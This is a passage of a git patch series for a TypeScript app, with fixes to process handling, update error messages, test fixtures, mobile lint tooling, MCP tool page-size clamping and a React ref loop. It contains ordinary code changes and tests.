TAILSCALE_KILL_GRACE = Duration.millis(500); const TAILSCALE_SERVE_TIMEOUT = Duration.seconds(10); const TAILSCALE_PROBE_TIMEOUT = Duration.millis(2_500); @@ -226,8 +233,11 @@ const readTailscaleOutput = Effect.fn("tailscale.readTailscaleOutput")(function* subcommand, argumentCount: args.length, }; + const command = ChildProcess.make(executable, [...args], { + forceKillAfter: TAILSCALE_KILL_GRACE, + }); return yield* Effect.gen(function* () { - const child = yield* spawner.spawn(ChildProcess.make(executable, [...args])).pipe( + const child = yield* spawner.spawn(command).pipe( Effect.mapError((cause) => new TailscaleCommandSpawnError({ ...commandContext, cause })), // Spawning can also fail as a defect rather than a typed error - a // non-directory entry on PATH makes node throw ENOTDIR synchronously. From 8541f863747815c515410777d902a2814faf75e9 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:10:17 -0700 Subject: [PATCH 049/130] docs(composer): queued messages follow the Follow-up behavior setting (#22857) Co-authored-by: Claude Opus 5.5 --- docs/user/composer.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/docs/user/composer.md b/docs/user/composer.md index 67a8c0bc846c..bdb67cae4b31 100644 --- a/docs/user/composer.md +++ b/docs/user/composer.md @@ -198,10 +198,11 @@ transcription or cancellation; only the message text is sent when you submit. ## Queued messages On web and desktop, the composer shows **Interrupt** while the agent is working and the draft is -empty. Adding text or attachments replaces it with a steer arrow. Click it to send a message into -the active turn, or press `Enter` on desktop. Hold `Cmd` on macOS or `Ctrl` on Windows and Linux to -switch the button to a queue icon. Click while holding that key, or press `Cmd+Enter` or -`Ctrl+Enter` on desktop, to queue the message for after the active turn. +empty. Adding text or attachments replaces it with a send button that shows your +[Follow-up behavior](#send-while-the-agent-is-working): a queue icon for Queue or a steer arrow for +Steer. Click it or press your send shortcut to use that action. Hold `Cmd` on macOS or `Ctrl` on +Windows and Linux to switch the button to the opposite action, then click, or use the opposite-action +shortcut described above. Queued messages appear above the composer. Rows show a thumbnail of any attached image alongside the text. Drag a row by its handle to reorder it, use the handle's arrow keys, promote the message From f08781009f741891a263772ec959e38f69fefccf Mon Sep 17 00:00:00 2001 From: Koushik_xd <122906171+koushikxd@users.noreply.github.com> Date: Thu, 22 Oct 2026 02:40:33 +0530 Subject: [PATCH 050/130] fix(server): failed provider updates say why (#22506) --- .../providerMaintenanceRunner.test.ts | 35 +++++++++++++++++-- .../src/provider/providerMaintenanceRunner.ts | 31 +++++++++++++--- 2 files changed, 59 insertions(+), 7 deletions(-) diff --git a/apps/server/src/provider/providerMaintenanceRunner.test.ts b/apps/server/src/provider/providerMaintenanceRunner.test.ts index de373771345b..43808ff37df8 100644 --- a/apps/server/src/provider/providerMaintenanceRunner.test.ts +++ b/apps/server/src/provider/providerMaintenanceRunner.test.ts @@ -454,14 +454,43 @@ describe("providerMaintenanceRunner", () => { const updateState = result.providers[0]?.updateState; assert.strictEqual(updateState?.status, "failed"); - assert.strictEqual(updateState?.message, "Update command exited with code 1."); - assert.include(updateState?.output ?? "", "permission denied"); + assert.strictEqual( + updateState?.message, + "Update command exited with code 1: Error: Could not detect the Codex installation method.", + ); + assert.include(updateState?.output ?? "", "checking install"); + }).pipe( + Effect.provide( + Layer.mergeAll( + layerNonWindowsPlatform, + layerLatestVersionHttpClient("0.0.0"), + layerMockSpawner(() => ({ + stdout: "checking install\n", + stderr: "Error: Could not detect the Codex installation method.\n\n", + code: 1, + })), + ), + ), + ), + ); + + it.effect("keeps the exit code message when a failed command prints nothing", () => + Effect.gen(function* () { + const { registry } = yield* makeRegistry(); + const updater = yield* makeTestRunner(registry); + + const result = yield* updater.updateProvider(CODEX_DRIVER); + + assert.strictEqual( + result.providers[0]?.updateState?.message, + "Update command exited with code 1.", + ); }).pipe( Effect.provide( Layer.mergeAll( layerNonWindowsPlatform, layerLatestVersionHttpClient("0.0.0"), - layerMockSpawner(() => ({ stderr: "permission denied", code: 1 })), + layerMockSpawner(() => ({ code: 1 })), ), ), ), diff --git a/apps/server/src/provider/providerMaintenanceRunner.ts b/apps/server/src/provider/providerMaintenanceRunner.ts index 7b59e1dea946..43d8b1e3916a 100644 --- a/apps/server/src/provider/providerMaintenanceRunner.ts +++ b/apps/server/src/provider/providerMaintenanceRunner.ts @@ -242,14 +242,30 @@ function commandOutput(result: ProviderMaintenanceCommandResult): string | null return truncateText(output, UPDATE_OUTPUT_MAX_BYTES); } +// Updaters print their reason last, usually on stderr. +function lastOutputLine(result: ProviderMaintenanceCommandResult): string | null { + for (const output of [result.stderr, result.stdout]) { + const line = output + .split(/\r\n|\r|\n/) + .map(toProgressLine) + .findLast(Boolean); + if (line) { + return line; + } + } + return null; +} + function failureMessage(result: ProviderMaintenanceCommandResult): string { if (result.timedOut) { return "Update timed out."; } - if (result.exitCode !== null && result.exitCode !== 0) { - return `Update command exited with code ${result.exitCode}.`; - } - return "Update command failed."; + const summary = + result.exitCode !== null && result.exitCode !== 0 + ? `Update command exited with code ${result.exitCode}` + : "Update command failed"; + const reason = lastOutputLine(result); + return reason ? `${summary}: ${reason}` : `${summary}.`; } function isOutdatedProvider(provider: ServerProvider | undefined): boolean { @@ -474,6 +490,13 @@ export const make = Effect.fn("ProviderMaintenanceRunner.make")(function* () { const result = yield* runMaintenanceCommand(command, setRunningMessage); const finishedAt = yield* nowIso; if (result.timedOut || result.exitCode !== 0) { + yield* Effect.logWarning("Provider update command failed", { + provider, + command: describeCommand(command), + exitCode: result.exitCode, + timedOut: result.timedOut, + output: commandOutput(result), + }); return yield* finish( makeUpdateState({ status: "failed", From da46db6ea3008f9575657a025d0b57e12d3c9272 Mon Sep 17 00:00:00 2001 From: Victor Vogel Date: Wed, 21 Oct 2026 16:11:11 -0500 Subject: [PATCH 051/130] test(telemetry): keep fixture PIDs from colliding with the test worker (#21446) Co-authored-by: Claude Opus 5.5 --- .../diagnostics/ProcessDiagnostics.test.ts | 35 ++++++++------ .../ResourceTelemetry.test.ts | 48 +++++++++++-------- 2 files changed, 50 insertions(+), 33 deletions(-) diff --git a/apps/server/src/diagnostics/ProcessDiagnostics.test.ts b/apps/server/src/diagnostics/ProcessDiagnostics.test.ts index b480b021375f..5c981033a995 100644 --- a/apps/server/src/diagnostics/ProcessDiagnostics.test.ts +++ b/apps/server/src/diagnostics/ProcessDiagnostics.test.ts @@ -15,6 +15,11 @@ import * as ResourceAttribution from "../resourceTelemetry/ResourceAttribution.t import * as ResourceTelemetry from "../resourceTelemetry/ResourceTelemetry.ts"; import * as ProcessDiagnostics from "./ProcessDiagnostics.ts"; +// ProcessDiagnostics treats process.pid as the server, so the fixture PID is an +// offset from it. A fixed PID collides whenever the test worker is assigned it. +const SERVER_PID = process.pid; +const CHILD_PID = SERVER_PID + 1; + function makeNativeSnapshot( processes: ResourceMonitorSnapshotEvent["processes"], ): ResourceMonitorSnapshotEvent { @@ -71,7 +76,7 @@ describe("ProcessDiagnostics", () => { const result = yield* Effect.service(ProcessDiagnostics.ProcessDiagnostics).pipe( Effect.flatMap((processDiagnostics) => processDiagnostics.signal({ - pid: 4_242, + pid: CHILD_PID, startTimeMs: 2_000, signal: "SIGINT", }), @@ -80,10 +85,12 @@ describe("ProcessDiagnostics", () => { ); expect(result).toEqual({ - pid: 4242, + pid: CHILD_PID, signal: "SIGINT", signaled: false, - message: Option.some("Process 4242 no longer matches the selected process identity."), + message: Option.some( + `Process ${CHILD_PID} no longer matches the selected process identity.`, + ), }); }), ); @@ -92,8 +99,8 @@ describe("ProcessDiagnostics", () => { Effect.gen(function* () { const snapshot = makeNativeSnapshot([ { - pid: 4_242, - ppid: process.pid, + pid: CHILD_PID, + ppid: SERVER_PID, startTimeMs: 2_000, runTimeMs: 4_000, name: "agent", @@ -134,7 +141,7 @@ describe("ProcessDiagnostics", () => { const result = yield* Effect.service(ProcessDiagnostics.ProcessDiagnostics).pipe( Effect.flatMap((processDiagnostics) => processDiagnostics.signal({ - pid: 4_242, + pid: CHILD_PID, startTimeMs: 2_000, signal: "SIGINT", }), @@ -143,11 +150,11 @@ describe("ProcessDiagnostics", () => { ); expect(result).toEqual({ - pid: 4_242, + pid: CHILD_PID, signal: "SIGINT", signaled: false, message: Option.some( - "Could not refresh process 4242; refusing to signal a stale identity.", + `Could not refresh process ${CHILD_PID}; refusing to signal a stale identity.`, ), }); }), @@ -160,7 +167,7 @@ describe("ProcessDiagnostics", () => { ); const snapshot = makeNativeSnapshot([ { - pid: 4_242, + pid: CHILD_PID, ppid: 1, startTimeMs: 2_000, runTimeMs: 4_000, @@ -182,7 +189,7 @@ describe("ProcessDiagnostics", () => { type: "desktopTelemetry", sequence: 1, sampledAtUnixMs, - electronPid: 4_242, + electronPid: CHILD_PID, power: { source: "electron-main", idle: "false", @@ -198,7 +205,7 @@ describe("ProcessDiagnostics", () => { speedLimitPercent: Option.none(), electronProcesses: [ { - pid: 4_242, + pid: CHILD_PID, creationTimeMs: 2_000, type: "Browser", name: "electron", @@ -214,7 +221,7 @@ describe("ProcessDiagnostics", () => { const result = yield* Effect.service(ProcessDiagnostics.ProcessDiagnostics).pipe( Effect.flatMap((processDiagnostics) => processDiagnostics.signal({ - pid: 4_242, + pid: CHILD_PID, startTimeMs: 2_000, signal: "SIGKILL", }), @@ -223,10 +230,10 @@ describe("ProcessDiagnostics", () => { ); expect(result).toEqual({ - pid: 4_242, + pid: CHILD_PID, signal: "SIGKILL", signaled: false, - message: Option.some("Process 4242 is not a signalable T3 backend descendant."), + message: Option.some(`Process ${CHILD_PID} is not a signalable T3 backend descendant.`), }); const diagnostics = yield* Effect.service(ProcessDiagnostics.ProcessDiagnostics).pipe( diff --git a/apps/server/src/resourceTelemetry/ResourceTelemetry.test.ts b/apps/server/src/resourceTelemetry/ResourceTelemetry.test.ts index 51ed62d08982..c12e2e44ed7e 100644 --- a/apps/server/src/resourceTelemetry/ResourceTelemetry.test.ts +++ b/apps/server/src/resourceTelemetry/ResourceTelemetry.test.ts @@ -19,6 +19,14 @@ import * as NativeTelemetryClient from "./NativeTelemetryClient.ts"; import * as ResourceAttribution from "./ResourceAttribution.ts"; import * as ResourceTelemetry from "./ResourceTelemetry.ts"; +// ResourceTelemetry classifies process.pid as the server, so fixture PIDs are +// offsets from it. Fixed PIDs collide whenever the test worker is assigned one. +const SERVER_PID = process.pid; +const CODEX_PID = SERVER_PID + 1; +const SHORT_LIVED_CHILD_PID = SERVER_PID + 2; +const ELECTRON_PID = SERVER_PID + 3; +const MONITOR_PID = SERVER_PID + 4; + function processSample( input: Partial & Pick, @@ -48,14 +56,14 @@ function nativeSnapshot(input: { }): ResourceMonitorSnapshotEvent { const processes = [ processSample({ - pid: process.pid, + pid: SERVER_PID, ppid: 1, startTimeMs: 100, cpuTimeMs: input.sequence * 10, }), processSample({ - pid: 4_242, - ppid: process.pid, + pid: CODEX_PID, + ppid: SERVER_PID, startTimeMs: 200, name: "codex", command: "codex app-server", @@ -63,7 +71,7 @@ function nativeSnapshot(input: { ioWriteBytes: input.childWriteBytes, }), processSample({ - pid: 5_000, + pid: ELECTRON_PID, ppid: 1, startTimeMs: 300, name: "electron", @@ -71,8 +79,8 @@ function nativeSnapshot(input: { cpuTimeMs: input.sequence * 20, }), processSample({ - pid: 9_000, - ppid: process.pid, + pid: MONITOR_PID, + ppid: SERVER_PID, startTimeMs: 400, name: "t3-resource-monitor", command: "t3-resource-monitor", @@ -109,7 +117,7 @@ function desktopSnapshot(sampledAtUnixMs: number): DesktopHostTelemetrySnapshot type: "desktopTelemetry", sequence: 1, sampledAtUnixMs, - electronPid: 5_000, + electronPid: ELECTRON_PID, power: { source: "electron-main", idle: "false", @@ -125,7 +133,7 @@ function desktopSnapshot(sampledAtUnixMs: number): DesktopHostTelemetrySnapshot speedLimitPercent: Option.some(90), electronProcesses: [ { - pid: 5_000, + pid: ELECTRON_PID, creationTimeMs: 300, type: "Browser", name: "electron", @@ -152,17 +160,17 @@ describe("ResourceTelemetry", () => { childWriteBytes: index * 100, }); const processes = sample.processes - .filter((entry) => entry.pid === process.pid || entry.pid === 4_242) + .filter((entry) => entry.pid === SERVER_PID || entry.pid === CODEX_PID) .map((entry) => - entry.pid === 4_242 + entry.pid === CODEX_PID ? { ...entry, startTimeMs: index } : { ...entry, ioWriteBytes: index * 100 }, ); if (index === 0 || index === 2) { processes.push( processSample({ - pid: 4_243, - ppid: process.pid, + pid: SHORT_LIVED_CHILD_PID, + ppid: SERVER_PID, startTimeMs: 500, cpuTimeMs: index === 0 ? 100 : 350, ioWriteBytes: index === 0 ? 1_000 : 5_000, @@ -190,18 +198,20 @@ describe("ResourceTelemetry", () => { expect(history.topProcesses).toHaveLength(sampleCount + 2); expect( - history.topProcesses.find((entry) => entry.identity.pid === process.pid), + history.topProcesses.find((entry) => entry.identity.pid === SERVER_PID), ).toMatchObject({ sampleCount, cpuTimeMs: (sampleCount - 1) * 10, ioWriteBytes: (sampleCount - 1) * 100, }); - const children = history.topProcesses.filter((entry) => entry.identity.pid === 4_242); + const children = history.topProcesses.filter((entry) => entry.identity.pid === CODEX_PID); expect(children).toHaveLength(sampleCount); for (const child of children) { expect(child).toMatchObject({ sampleCount: 1, cpuTimeMs: 0, ioWriteBytes: 0 }); } - expect(history.topProcesses.find((entry) => entry.identity.pid === 4_243)).toMatchObject({ + expect( + history.topProcesses.find((entry) => entry.identity.pid === SHORT_LIVED_CHILD_PID), + ).toMatchObject({ sampleCount: 2, cpuTimeMs: 250, ioWriteBytes: 4_000, @@ -224,7 +234,7 @@ describe("ResourceTelemetry", () => { sampledAtUnixMs, childCpuTimeMs: 100, childWriteBytes: 1_000, - externalProcesses: [{ pid: 5_000, startTimeMs: 300 }], + externalProcesses: [{ pid: ELECTRON_PID, startTimeMs: 300 }], }); const desktop = { ...desktopSnapshot(sampledAtUnixMs), @@ -253,9 +263,9 @@ describe("ResourceTelemetry", () => { return yield* telemetry.refresh; }).pipe(Effect.provide(layerTelemetry)); - expect(snapshot.processes.find((entry) => entry.identity.pid === 5_000)?.category).toBe( - "electron-main", - ); + expect( + snapshot.processes.find((entry) => entry.identity.pid === ELECTRON_PID)?.category, + ).toBe("electron-main"); expect(snapshot.groups.electron.processStarts).toBe(1); expect(snapshot.groups.backend.processStarts).toBe(3); }), From 2a27e153559bc400cf5d1799eee68083c129b3ad Mon Sep 17 00:00:00 2001 From: tatsuaki watanabe Date: Thu, 22 Oct 2026 06:11:31 +0900 Subject: [PATCH 052/130] fix(server): server tests resolve the macOS temp dir symlink (#21442) Co-authored-by: Claude Opus 5.5 --- apps/server/src/config.ts | 4 +++- apps/server/src/storageCleanup.test.ts | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/apps/server/src/config.ts b/apps/server/src/config.ts index ef6f71a46a2e..3acbd697f586 100644 --- a/apps/server/src/config.ts +++ b/apps/server/src/config.ts @@ -187,7 +187,9 @@ const makeTest = Effect.fn("ServerConfig.makeTest")(function* ( const baseDir = typeof baseDirOrPrefix === "string" ? baseDirOrPrefix - : yield* fs.makeTempDirectoryScoped({ prefix: baseDirOrPrefix.prefix }); + : // macOS temp dirs live under the /var -> /private/var symlink; storage cleanup's + // symlink guards compare resolved paths, so generated test dirs must be real paths. + yield* fs.realPath(yield* fs.makeTempDirectoryScoped({ prefix: baseDirOrPrefix.prefix })); const derivedPaths = yield* deriveServerPaths(baseDir, devUrl); yield* ensureServerDirectories(derivedPaths); diff --git a/apps/server/src/storageCleanup.test.ts b/apps/server/src/storageCleanup.test.ts index 33cc1874281c..35959d91d9b6 100644 --- a/apps/server/src/storageCleanup.test.ts +++ b/apps/server/src/storageCleanup.test.ts @@ -244,7 +244,7 @@ const cleanupFixture = ( const fs = yield* FileSystem.FileSystem; const config = yield* ServerConfig.ServerConfig; const git = yield* GitVcsDriver.GitVcsDriver; - const repo = yield* fs.makeTempDirectoryScoped({ prefix: "cleanup-repo-" }); + const repo = yield* fs.realPath(yield* fs.makeTempDirectoryScoped({ prefix: "cleanup-repo-" })); const command = (cwd: string, args: string[]) => git.execute({ operation: "cleanup-test", cwd, args }); yield* command(repo, ["init", "-b", "main"]); From aef8b6fcf0f6cc5cc901618b3723dd60317e7ac4 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:12:04 -0700 Subject: [PATCH 053/130] fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing (#22896) Co-authored-by: Shubh Co-authored-by: Claude Opus 5.5 --- scripts/mobile-native-static-check.test.ts | 26 +++++++++ scripts/mobile-native-static-check.ts | 68 ++++++++++++++-------- 2 files changed, 71 insertions(+), 23 deletions(-) create mode 100644 scripts/mobile-native-static-check.test.ts diff --git a/scripts/mobile-native-static-check.test.ts b/scripts/mobile-native-static-check.test.ts new file mode 100644 index 000000000000..b0655675962b --- /dev/null +++ b/scripts/mobile-native-static-check.test.ts @@ -0,0 +1,26 @@ +import { assert, it } from "@effect/vitest"; +import * as Effect from "effect/Effect"; + +import { requireKotlinTools } from "./mobile-native-static-check.ts"; + +it.effect("allows Kotlin checks when ktlint and detekt are on PATH", () => + requireKotlinTools({ ktlint: true, detekt: true }), +); + +it.effect("fails when ktlint or detekt is missing instead of skipping", () => + Effect.gen(function* () { + const ktlintError = yield* requireKotlinTools({ ktlint: false, detekt: true }).pipe( + Effect.flip, + ); + if (ktlintError._tag !== "NativeStaticCheckMissingToolError") { + return assert.fail(`Unexpected error: ${ktlintError._tag}`); + } + assert.deepEqual(ktlintError.commands, ["ktlint"]); + + const bothError = yield* requireKotlinTools({ ktlint: false, detekt: false }).pipe(Effect.flip); + if (bothError._tag !== "NativeStaticCheckMissingToolError") { + return assert.fail(`Unexpected error: ${bothError._tag}`); + } + assert.deepEqual(bothError.commands, ["ktlint", "detekt"]); + }), +); diff --git a/scripts/mobile-native-static-check.ts b/scripts/mobile-native-static-check.ts index 06d0b470a956..489432f0d503 100644 --- a/scripts/mobile-native-static-check.ts +++ b/scripts/mobile-native-static-check.ts @@ -63,6 +63,21 @@ export class NativeStaticCheckCommandError extends Schema.TaggedError()( + "NativeStaticCheckMissingToolError", + { + commands: Schema.Array(Schema.Literals(kotlinToolCommands)), + }, +) { + override get message(): string { + const names = this.commands.join(" and "); + const verb = this.commands.length === 1 ? "is" : "are"; + return `${names} ${verb} not installed; cannot run Kotlin static analysis. Install via \`brew bundle install --file apps/mobile/Brewfile\` or put the JVM tools on PATH.`; + } +} + const tools = [ { command: "swiftlint", @@ -117,6 +132,16 @@ const warnMissingTool = (tool: NativeStaticTool, checkName: string) => `${tool.command} is not installed; skipping ${checkName}. Install it with '${tool.installHint}' or run 'brew bundle install --file apps/mobile/Brewfile'.`, ); +export const requireKotlinTools = Effect.fn("requireKotlinTools")(function* (available: { + readonly ktlint: boolean; + readonly detekt: boolean; +}) { + const missing = kotlinToolCommands.filter((command) => !available[command]); + if (missing.length > 0) { + return yield* new NativeStaticCheckMissingToolError({ commands: missing }); + } +}); + export const runCommand = Effect.fn("runCommand")(function* ( command: string, args: ReadonlyArray, @@ -253,29 +278,24 @@ const runNativeStaticChecks = Effect.fn("runNativeStaticChecks")(function* () { } if (kotlinSources.length > 0) { - const relativeKotlinSources = kotlinSources.map((source) => path.relative(root, source)); - - if (availableTools.get("ktlint")) { - yield* runCommand("ktlint", relativeKotlinSources, root); - } else { - yield* warnMissingTool(tools[1], "ktlint"); - } + yield* requireKotlinTools({ + ktlint: availableTools.get("ktlint") === true, + detekt: availableTools.get("detekt") === true, + }); - if (availableTools.get("detekt")) { - yield* runCommand( - "detekt", - [ - "--config", - "detekt.yml", - "--input", - relativeKotlinSources.join(","), - "--build-upon-default-config", - ], - root, - ); - } else { - yield* warnMissingTool(tools[2], "detekt"); - } + const relativeKotlinSources = kotlinSources.map((source) => path.relative(root, source)); + yield* runCommand("ktlint", relativeKotlinSources, root); + yield* runCommand( + "detekt", + [ + "--config", + "detekt.yml", + "--input", + relativeKotlinSources.join(","), + "--build-upon-default-config", + ], + root, + ); } yield* Console.log("Skipping generated native project folders: android/, ios/."); @@ -284,7 +304,9 @@ const runNativeStaticChecks = Effect.fn("runNativeStaticChecks")(function* () { export const mobileNativeStaticCheckCommand = Command.make("mobile-native-static-check", {}, () => runNativeStaticChecks(), ).pipe( - Command.withDescription("Run mobile native static analysis when native tools are available."), + Command.withDescription( + "Run mobile native static analysis. SwiftLint may be skipped when unavailable; ktlint and detekt are required when Kotlin sources exist.", + ), ); if (import.meta.main) { From ee11fbd971b2f94d7ba2ec411a36581671f8494a Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:12:25 -0700 Subject: [PATCH 054/130] fix(server): t3_thread_read clamps oversized page sizes instead of failing (#22901) Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com> --- apps/server/src/mcp/McpHttpServer.test.ts | 47 +++++++++++++++++++ .../mcp/toolkits/orchestrator/tools.test.ts | 16 +++++++ packages/contracts/src/orchestratorMcp.ts | 26 ++++++++-- 3 files changed, 86 insertions(+), 3 deletions(-) create mode 100644 apps/server/src/mcp/toolkits/orchestrator/tools.test.ts diff --git a/apps/server/src/mcp/McpHttpServer.test.ts b/apps/server/src/mcp/McpHttpServer.test.ts index 6e54be84ef86..85ccc3ab926e 100644 --- a/apps/server/src/mcp/McpHttpServer.test.ts +++ b/apps/server/src/mcp/McpHttpServer.test.ts @@ -375,6 +375,53 @@ it.effect("decodes null optional arguments the way it decodes omitted ones", () }).pipe(Effect.provide(layerRecordingTools(calls))); }); +it.effect( + "clamps t3_thread_read page sizes above their maximum instead of rejecting the call", + () => { + const calls: Array = []; + return Effect.gen(function* () { + const thread = { threadId: "thread-clamped-arguments" }; + // Codex never shows the model these bounds, so an over-large page must still read. + yield* callTool("t3_thread_read", { + ...thread, + limit: 150, + runLimit: 80, + maxCharsPerItem: 60_000, + }); + yield* callTool("t3_thread_read", { + ...thread, + limit: 100, + runLimit: 50, + maxCharsPerItem: 50_000, + }); + yield* callTool("t3_thread_read", { ...thread, limit: 7, runLimit: 1, maxCharsPerItem: 1 }); + + expect(calls).toEqual([ + { ...thread, limit: 100, runLimit: 50, maxCharsPerItem: 50_000 }, + { ...thread, limit: 100, runLimit: 50, maxCharsPerItem: 50_000 }, + { ...thread, limit: 7, runLimit: 1, maxCharsPerItem: 1 }, + ]); + }).pipe(Effect.provide(layerRecordingTools(calls))); + }, +); + +it.effect.each(["limit", "runLimit", "maxCharsPerItem"])( + "still rejects a t3_thread_read %s below its minimum", + (field) => { + const calls: Array = []; + return Effect.gen(function* () { + // Zero is a different request than one item, so it fails rather than answering another question. + const rejected = yield* callTool("t3_thread_read", { + threadId: "thread-below-minimum", + [field]: 0, + }).pipe(Effect.flip); + + expect(String(rejected)).toContain("greater than or equal to 1"); + expect(calls).toEqual([]); + }).pipe(Effect.provide(layerRecordingTools(calls))); + }, +); + it.effect( "registers the pull request toolkit and surfaces a missing capability as a tool error", () => diff --git a/apps/server/src/mcp/toolkits/orchestrator/tools.test.ts b/apps/server/src/mcp/toolkits/orchestrator/tools.test.ts new file mode 100644 index 000000000000..75db3e4d5978 --- /dev/null +++ b/apps/server/src/mcp/toolkits/orchestrator/tools.test.ts @@ -0,0 +1,16 @@ +import { expect, it } from "@effect/vitest"; +import { Tool } from "effect/ai"; + +import { OrchestratorToolkit } from "./tools.ts"; + +// Oversized page sizes clamp on decode, so the schema has no `maximum`; Codex also drops +// bounds from its TypeScript view. The description is the only place a model sees a limit. +it("states t3_thread_read page size limits in the parameter descriptions", () => { + const schema = Tool.getJsonSchema(OrchestratorToolkit.tools.t3_thread_read) as { + readonly properties: Readonly>; + }; + const limits = { limit: "100", runLimit: "50", maxCharsPerItem: "50000" }; + for (const [name, maximum] of Object.entries(limits)) { + expect(schema.properties[name]?.description, name).toContain(maximum); + } +}); diff --git a/packages/contracts/src/orchestratorMcp.ts b/packages/contracts/src/orchestratorMcp.ts index bfbfadb9813e..c962c3975c17 100644 --- a/packages/contracts/src/orchestratorMcp.ts +++ b/packages/contracts/src/orchestratorMcp.ts @@ -363,15 +363,35 @@ export const OrchestratorMcpThreadListResult = Schema.Struct({ }); export type OrchestratorMcpThreadListResult = typeof OrchestratorMcpThreadListResult.Type; +// Codex hides `minimum` and `maximum` from the model, so a value above the maximum clamps on +// decode instead of failing the call; pagination returns the rest. Values below 1 still fail: +// 0 asks for nothing, and answering it with one item would be a different request. +const clampedPositiveInt = (maximum: number) => + PositiveInt.pipe( + Schema.decodeTo( + PositiveInt.check(Schema.isLessThanOrEqualTo(maximum)), + SchemaTransformation.transform({ + decode: (value) => Math.min(value, maximum), + encode: (value) => value, + }), + ), + ); + export const OrchestratorMcpThreadReadInput = Schema.Struct({ threadId: ThreadId, itemId: Schema.optional(TurnItemId), textOffset: Schema.optional(NonNegativeInt), view: Schema.optional(Schema.Literals(["messages", "activity"])), afterPosition: Schema.optional(NonNegativeInt), - limit: Schema.optional(PositiveInt.check(Schema.isLessThanOrEqualTo(100))), - runLimit: Schema.optional(PositiveInt.check(Schema.isLessThanOrEqualTo(50))), - maxCharsPerItem: Schema.optional(PositiveInt.check(Schema.isLessThanOrEqualTo(50_000))), + limit: Schema.optional(clampedPositiveInt(100)).annotate({ + description: "Maximum timeline items to return, from 1 to 100.", + }), + runLimit: Schema.optional(clampedPositiveInt(50)).annotate({ + description: "Maximum recent runs to return, from 1 to 50.", + }), + maxCharsPerItem: Schema.optional(clampedPositiveInt(50_000)).annotate({ + description: "Maximum text characters per item, from 1 to 50000.", + }), }); export type OrchestratorMcpThreadReadInput = typeof OrchestratorMcpThreadReadInput.Type; From d0c5d7c4ed90c9018e41853cde4f10043c72b12a Mon Sep 17 00:00:00 2001 From: tatsuaki watanabe Date: Thu, 22 Oct 2026 06:12:45 +0900 Subject: [PATCH 055/130] fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" (#22600) Co-authored-by: Claude Opus 5.5 --- .../pull-requests/PullRequestRouteScreen.tsx | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx b/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx index 10cb2d7a3720..20c85f718930 100644 --- a/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx +++ b/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx @@ -299,6 +299,18 @@ export function PullRequestRouteScreen({ route }: StaticScreenProps>>({}); + // AnimatedLegendList re-attaches its handle and sets state whenever its ref changes, + // so an inline ref in the tab map loops the screen into "Maximum update depth exceeded". + const [listRefs] = useState(() => { + const listRef = (tab: typeof section) => (list: LegendListRef | null) => { + scrollViews.current[tab] = list; + }; + return { + overview: listRef("overview"), + guide: listRef("guide"), + activity: listRef("activity"), + }; + }); const selectSection = (next: typeof section) => { if (next === section) return; scrollOffsets.current[section] = currentScrollOffset.current; @@ -545,9 +557,7 @@ export function PullRequestRouteScreen({ route }: StaticScreenProps { - scrollViews.current[tab] = list; - }} + ref={listRefs[tab]} initialScrollOffset={-insets.top} onScroll={(event) => { const offset = event.nativeEvent.contentOffset.y; From b9c1293c0aad6196c393550867d73d07f55e9621 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:13:03 -0700 Subject: [PATCH 056/130] fix(web): PR Code tab keeps its files after a refresh with an unchanged diff (#22917) Co-authored-by: Rodrigo Brechard Co-authored-by: Claude Opus 5.5 --- .../PullRequestCodeTab.browser.test.tsx | 128 ++++++++++++++++++ .../pullRequest/PullRequestCodeTab.tsx | 3 + 2 files changed, 131 insertions(+) create mode 100644 apps/web/src/components/pullRequest/PullRequestCodeTab.browser.test.tsx diff --git a/apps/web/src/components/pullRequest/PullRequestCodeTab.browser.test.tsx b/apps/web/src/components/pullRequest/PullRequestCodeTab.browser.test.tsx new file mode 100644 index 000000000000..34a1c1ddfd6b --- /dev/null +++ b/apps/web/src/components/pullRequest/PullRequestCodeTab.browser.test.tsx @@ -0,0 +1,128 @@ +import { + EnvironmentId, + ProjectId, + SourceControlProviderKind, + type PullRequestDetailView, + type PullRequestDiffResult, +} from "@t3tools/contracts"; +import { expect, it, vi } from "vite-plus/test"; + +import "~/index.css"; + +const { diffAtom } = await vi.hoisted(async () => { + const { AsyncResult, Atom } = await import("effect/reactivity"); + const firstPage: PullRequestDiffResult = { + patch: [ + "diff --git a/a.ts b/a.ts", + "index 1111111..2222222 100644", + "--- a/a.ts", + "+++ b/a.ts", + "@@ -1 +1 @@", + "-before()", + "+after()", + "", + ].join("\n"), + truncated: false, + nextCursor: null, + }; + // An environment query whose refetch returns equal content hands back the previous value + // itself, so a refresh publishes a new result around the very same page. + return { diffAtom: Atom.make(() => AsyncResult.success(firstPage)) }; +}); + +vi.mock(import("~/state/use-atom-command"), async (original) => ({ + ...(await original()), + useAtomCommand: (() => vi.fn()) as never, +})); +vi.mock(import("~/state/pullRequests"), async (original) => { + const actual = await original(); + return { + ...actual, + pullRequestEnvironment: { + ...actual.pullRequestEnvironment, + diff: (() => diffAtom) as never, + }, + }; +}); + +import { render } from "../../../test/render"; +import PullRequestCodeTab from "./PullRequestCodeTab"; + +const detail: PullRequestDetailView = { + provider: SourceControlProviderKind.make("github"), + projectId: ProjectId.make("project"), + projectTitle: "Project", + workspaceRoot: "/workspace", + repository: "owner/repo", + number: 1, + title: "Test pull request", + body: "", + url: "https://github.com/owner/repo/pull/1", + author: { login: "author", name: null, avatarUrl: null }, + viewer: "author", + state: "open", + isDraft: false, + mergeability: "mergeable", + additions: 1, + deletions: 1, + changedFiles: 1, + headBranch: "feature", + 